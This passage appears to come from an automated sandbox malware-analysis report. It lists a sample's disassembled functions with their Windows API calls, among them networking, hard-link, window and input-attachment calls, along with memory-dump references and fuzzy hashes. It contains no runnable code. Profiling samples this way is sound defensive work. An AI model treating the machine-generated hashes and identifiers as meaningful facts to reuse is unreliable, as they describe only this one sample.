                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$__itow
                              • String ID:
                              • API String ID: 3379773720-0
                              • Opcode ID: f450223117ea95bfee34014d9d84978b58918b7dbb146b9b64e9adf8c20a5af9
                              • Instruction ID: c5a9f548720e127460bbd30f9c4a1142764b372a0404ca0a71d180b9b8c9b2b0
                              • Opcode Fuzzy Hash: f450223117ea95bfee34014d9d84978b58918b7dbb146b9b64e9adf8c20a5af9
                              • Instruction Fuzzy Hash: E8415671A002096BDB14EF95D981AEF77BC9F58314F00405EFA0567281E7789E46CBE9
                              Function 004499DB Relevance: 6.1, APIs: 4, Instructions: 145COMMON
                              Download Yara Rule
                              APIs
                              • GetWindowRect.USER32(?,?), ref: 00449A4A
                              • ScreenToClient.USER32(?,?), ref: 00449A80
                              • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00449AEC
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$ClientMoveRectScreen
                              • String ID:
                              • API String ID: 3880355969-0
                              • Opcode ID: d0f348dd6b8999688d199205b3412f9258e7834e979bdc0e5f61431c3cd0f715
                              • Instruction ID: 772f2e9a8c44c8b90650fefa000f178a1b73e5e444e4323f54854131c67d2362
                              • Opcode Fuzzy Hash: d0f348dd6b8999688d199205b3412f9258e7834e979bdc0e5f61431c3cd0f715
                              • Instruction Fuzzy Hash: 5A517C70A00249AFEB14CF68D8C1AAB77B6FF58314F10822EF91597390D774AD90DB98
                              Function 0041415F Relevance: 6.1, APIs: 4, Instructions: 130COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                              • String ID:
                              • API String ID: 2782032738-0
                              • Opcode ID: b31e9d6d4fc57bcba7966bec51b765adca5e1eea9d7940e8138ef5a4af09ff03
                              • Instruction ID: 72632960f292c6e9309c64fc9b7016af72cb639159fa0dd3c9cf05ee08d0b78d
                              • Opcode Fuzzy Hash: b31e9d6d4fc57bcba7966bec51b765adca5e1eea9d7940e8138ef5a4af09ff03
                              • Instruction Fuzzy Hash: CB41D531A00715ABDB248FA5C8486DFBBB5AFD0364F24856EF42597680D778DDC1CB48
                              Function 00441672 Relevance: 6.1, APIs: 4, Instructions: 116windowCOMMON
                              Download Yara Rule
                              APIs
                              • ClientToScreen.USER32(00000000,?), ref: 0044169A
                              • GetWindowRect.USER32(?,?), ref: 00441722
                              • PtInRect.USER32(?,?,?), ref: 00441734
                              • MessageBeep.USER32(00000000), ref: 004417AD
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Rect$BeepClientMessageScreenWindow
                              • String ID:
                              • API String ID: 1352109105-0
                              • Opcode ID: efc75fb8ed246b6ad65f2e8b456486d9870e0f063911f7aa846460c85c9d1d50
                              • Instruction ID: 3e4d0a9d31bb6386801ef6381a7f0d6bf168684d8964ff5a195b0ca439f55e04
                              • Opcode Fuzzy Hash: efc75fb8ed246b6ad65f2e8b456486d9870e0f063911f7aa846460c85c9d1d50
                              • Instruction Fuzzy Hash: 5141A539A002049FE714DF54D884E6AB7B5FF95721F1482AED9158B360DB34AC81CB94
                              Function 0045D1AF Relevance: 6.1, APIs: 4, Instructions: 103fileCOMMON
                              Download Yara Rule
                              APIs
                              • CreateHardLinkW.KERNEL32(00000000,?,00000000,?,00000000), ref: 0045D248
                              • GetLastError.KERNEL32(?,00000000), ref: 0045D26C
                              • DeleteFileW.KERNEL32(00000000,?,?,00000000), ref: 0045D28C
                              • CreateHardLinkW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 0045D2AA
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CreateHardLink$DeleteErrorFileLast
                              • String ID:
                              • API String ID: 3321077145-0
                              • Opcode ID: 49223ed515fb619a5bee3fab41eec0f0b951464039ac7af7222e30fa4423140a
                              • Instruction ID: 6818256dd78c2cb29ac0ce267de24fb792dca3a41353b59757f5ace631f71379
                              • Opcode Fuzzy Hash: 49223ed515fb619a5bee3fab41eec0f0b951464039ac7af7222e30fa4423140a
                              • Instruction Fuzzy Hash: DC318DB1A00201EBDB10EFB5C945A1ABBE8AF45319F10885EFC44AB343CB79ED45CB94
                              Function 0042083F Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00420873
                              • __isleadbyte_l.LIBCMT ref: 004208A6
                              • MultiByteToWideChar.KERNEL32(BBDAE900,00000009,?,000001AC,00000000,00000000,?,?,?,0042D7C1,?,00000000), ref: 004208D7
                              • MultiByteToWideChar.KERNEL32(BBDAE900,00000009,?,00000001,00000000,00000000,?,?,?,0042D7C1,?,00000000), ref: 00420945
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                              • String ID:
                              • API String ID: 3058430110-0
                              • Opcode ID: 6122c04dd5dc57efc0e5b6c0779ec963bae9ccf891294cd495d8fd5d7cdcec1f
                              • Instruction ID: f6550d230e50e909e13d2a99824cc28569674f7a7b9e5ef0daa2e7ce22e82e6e
                              • Opcode Fuzzy Hash: 6122c04dd5dc57efc0e5b6c0779ec963bae9ccf891294cd495d8fd5d7cdcec1f
                              • Instruction Fuzzy Hash: D731E231B00265EFDB20EF65E884AAF3BE5BF00310F55496AE4658B292D734CD80DB98
                              Function 00442A83 Relevance: 6.1, APIs: 4, Instructions: 87windowCOMMON
                              Download Yara Rule
                              APIs
                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00442AC9
                              • TranslateMessage.USER32(?), ref: 00442B01
                              • DispatchMessageW.USER32(?), ref: 00442B0B
                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00442B21
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Message$Peek$DispatchTranslate
                              • String ID:
                              • API String ID: 1795658109-0
                              • Opcode ID: 36eab9d42bd73f6f728abf92f57c3db94032fb3fd80da71d70c6aa8f6f72699a
                              • Instruction ID: 5e5183f3b0572ad37d893cec5a7cf9421d6c1ddc4b80b1975d6d8daaa3c1acd1
                              • Opcode Fuzzy Hash: 36eab9d42bd73f6f728abf92f57c3db94032fb3fd80da71d70c6aa8f6f72699a
                              • Instruction Fuzzy Hash: 012126719583469AFB30DF649D85FB7BBA8CB24314F40407BF91097281EAB86848C769
                              Function 0047438B Relevance: 6.1, APIs: 4, Instructions: 83COMMON
                              Download Yara Rule
                              APIs
                              • GetForegroundWindow.USER32(?,?,?), ref: 0047439C
                                • Part of subcall function 004439C1: GetWindowThreadProcessId.USER32(?,00000000), ref: 004439E4
                                • Part of subcall function 004439C1: GetCurrentThreadId.KERNEL32 ref: 004439EB
                                • Part of subcall function 004439C1: AttachThreadInput.USER32(00000000), ref: 004439F2
                              • GetCaretPos.USER32(?), ref: 004743B2
                              • ClientToScreen.USER32(00000000,?), ref: 004743E8
                              • GetForegroundWindow.USER32 ref: 004743EE
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                              • String ID:
                              • API String ID: 2759813231-0
                              • Opcode ID: f13b499454a1a1822ca13fc8ae6b328d463f7326d10c65fcbffa9176c03fd335
                              • Instruction ID: 29594bdffde582d62cf8cb535202cb0f6e37f5c0e74140e0e8dac686a3932322
                              • Opcode Fuzzy Hash: f13b499454a1a1822ca13fc8ae6b328d463f7326d10c65fcbffa9176c03fd335
                              • Instruction Fuzzy Hash: 2F21AC71A00305ABD710EF75CC86B9E77B9AF44708F14446EF644BB2C2DBF9A9408BA5
                              Function 004494A5 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00430626: _wcspbrk.LIBCMT ref: 00430636
                              • SendMessageW.USER32(?,00001002,00000000,?), ref: 00449477
                              • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 00449507
                              • _wcslen.LIBCMT ref: 00449519
                              • _wcslen.LIBCMT ref: 00449526
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend_wcslen$_wcspbrk
                              • String ID:
                              • API String ID: 2886238975-0
                              • Opcode ID: cda1f7e16000b3d6f1552df2769fac91363fb93f1f54a3f578086acf89ecf69d
                              • Instruction ID: 7d4d19c59aaf55394df3596c947b25f6969e765268ec3300c5285dc4bbf20b28
                              • Opcode Fuzzy Hash: cda1f7e16000b3d6f1552df2769fac91363fb93f1f54a3f578086acf89ecf69d
                              • Instruction Fuzzy Hash: F7213A76B00208A6E730DF55ED81BEFB368EBA0310F10416FFF0896240E6794D55C799
                              Function 0046888B Relevance: 6.1, APIs: 4, Instructions: 80COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __setmode$DebugOutputString_fprintf
                              • String ID:
                              • API String ID: 1792727568-0
                              • Opcode ID: 1ad8d8d19ebad69fc12c553a92627abd23c9aa4f6f7f42f57f8396caf8494ece
                              • Instruction ID: 94d91137fd77379d51e6296772f15362c7f2cf1f8b16651245aa9cc134f84072
                              • Opcode Fuzzy Hash: 1ad8d8d19ebad69fc12c553a92627abd23c9aa4f6f7f42f57f8396caf8494ece
                              • Instruction Fuzzy Hash: 5411A1B2D0020477DB107BB69C469AF7B2C8B55728F04416EF91573243E97C6A4947AB
                              Function 0047A26A Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0046F3C1: IsWindow.USER32(00000000), ref: 0046F3F1
                              • 742845F0.USER32(?,000000EC,?,00000001), ref: 0047A2DF
                              • 742859E0.USER32(?,000000EC,00000000,?,000000EC,?,00000001), ref: 0047A2FA
                              • 742859E0.USER32(?,000000EC,00000000,?,000000EC,?,00000001), ref: 0047A312
                              • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002,?,000000EC,00000000,?,000000EC,?,00000001), ref: 0047A321
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 742859Window$742845AttributesLayered
                              • String ID:
                              • API String ID: 4121519411-0
                              • Opcode ID: 53dc7990cfeb01f65bcc542d15cac6368a2c86d5c8ae23ecc65d9f578e391a7a
                              • Instruction ID: 4b457c036b32d13d4d6aa44b7b333d7b15c6210fa1ac615a770d46c951a2b689
                              • Opcode Fuzzy Hash: 53dc7990cfeb01f65bcc542d15cac6368a2c86d5c8ae23ecc65d9f578e391a7a
                              • Instruction Fuzzy Hash: E321C3322045146BD310AB19EC45F9BB798EF81334F20862BF859E72D1C779A855C7AC
                              Function 00434CC9 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 75stringCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00434C09: lstrlenW.KERNEL32(?), ref: 00434C1C
                                • Part of subcall function 00434C09: lstrcpyW.KERNEL32(00000000,?), ref: 00434C44
                                • Part of subcall function 00434C09: lstrcmpiW.KERNEL32(00000000,00000000), ref: 00434C78
                              • lstrlenW.KERNEL32(?), ref: 00434CF6
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • lstrcpyW.KERNEL32(00000000,?), ref: 00434D1E
                              • lstrcmpiW.KERNEL32(00000002,cdecl), ref: 00434D64
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: lstrcmpilstrcpylstrlen$_malloc
                              • String ID: cdecl
                              • API String ID: 3850814276-3896280584
                              • Opcode ID: 21c69cf6c29ea855f725dfe2a9cb2720d4b8dbea94fc3a7d57af4f6d050de3c2
                              • Instruction ID: b4b7f9d7485e9dcc41445171e378d0673d7e4b3d8a31a27b28546bfa00bfc119
                              • Opcode Fuzzy Hash: 21c69cf6c29ea855f725dfe2a9cb2720d4b8dbea94fc3a7d57af4f6d050de3c2
                              • Instruction Fuzzy Hash: 1521D276200301ABD710AF25DC45AEBB3A9FF99354F10583FF90687250EB39E945C7A9
                              Function 0046D402 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0045F645: WideCharToMultiByte.KERNEL32(00000000,00000000,5004C483,D29EE858,00000000,00000000,00000000,00000000,?,?,?,00467B75,?,00473BB8,00473BB8,?), ref: 0045F661
                              • gethostbyname.WSOCK32(?,00000000,?,?), ref: 0046D42D
                              • WSAGetLastError.WSOCK32(00000000), ref: 0046D439
                              • _memmove.LIBCMT ref: 0046D475
                              • inet_ntoa.WSOCK32(?), ref: 0046D481
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ByteCharErrorLastMultiWide_memmovegethostbynameinet_ntoa
                              • String ID:
                              • API String ID: 2502553879-0
                              • Opcode ID: c217391507a75a633327f3eae623a7fb2dd57c89b178c2547ebfa016f7fa05d4
                              • Instruction ID: 24c3f219ec43f49587972b4c28f02db1d16d05b11a5808876a7c02c26e676da9
                              • Opcode Fuzzy Hash: c217391507a75a633327f3eae623a7fb2dd57c89b178c2547ebfa016f7fa05d4
                              • Instruction Fuzzy Hash: A7216F769001046BC700FBA6DD85C9FB7BCEF48318B10486BFC01B7241DA39EE058BA5
                              Function 00448C3C Relevance: 6.1, APIs: 4, Instructions: 72windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32 ref: 00448C69
                              • 742845F0.USER32(?,000000EC), ref: 00448C91
                              • SendMessageW.USER32(?,0000104C,00000000,?), ref: 00448CCA
                              • SendMessageW.USER32(?,0000102B,00000000,?), ref: 00448D13
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$742845
                              • String ID:
                              • API String ID: 1730662999-0
                              • Opcode ID: aa9ba785652a5e2d68973233cc9ee5be9ec2ae113b50a66827928a68bf1dc890
                              • Instruction ID: 9d65767971b32091eca868ce8e4b461936feaca2c152e776436a997c982fc1ac
                              • Opcode Fuzzy Hash: aa9ba785652a5e2d68973233cc9ee5be9ec2ae113b50a66827928a68bf1dc890
                              • Instruction Fuzzy Hash: 782186711193009BE3209F18DD88B9FB7E4FBD5325F140B1EF994962D0DBB58448C755
                              Function 00458A61 Relevance: 6.1, APIs: 4, Instructions: 71networkCOMMON
                              Download Yara Rule
                              APIs
                              • select.WSOCK32(00000000,?,00000000,00000000,?), ref: 00458ABD
                              • __WSAFDIsSet.WSOCK32(00000000,00000001), ref: 00458ACF
                              • accept.WSOCK32(00000000,00000000,00000000), ref: 00458ADE
                              • WSAGetLastError.WSOCK32(00000000), ref: 00458B03
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorLastacceptselect
                              • String ID:
                              • API String ID: 385091864-0
                              • Opcode ID: feb2d603c895e760471213290e220df4c8c9e23c071c6cdae6f1f3a6ceb811dc
                              • Instruction ID: 6dce411450cb473f00463c700f03c36a20fe0f69cdcaeecb298670ce0bdbd9a3
                              • Opcode Fuzzy Hash: feb2d603c895e760471213290e220df4c8c9e23c071c6cdae6f1f3a6ceb811dc
                              • Instruction Fuzzy Hash: 032192716002049FD714EF69DD45BAAB7E8EB94310F10866EF988DB380DBB4A9808B94
                              Function 004368A0 Relevance: 6.1, APIs: 4, Instructions: 69windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,000000B0,?,?), ref: 004368C2
                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 004368D5
                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 004368EC
                              • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00436904
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
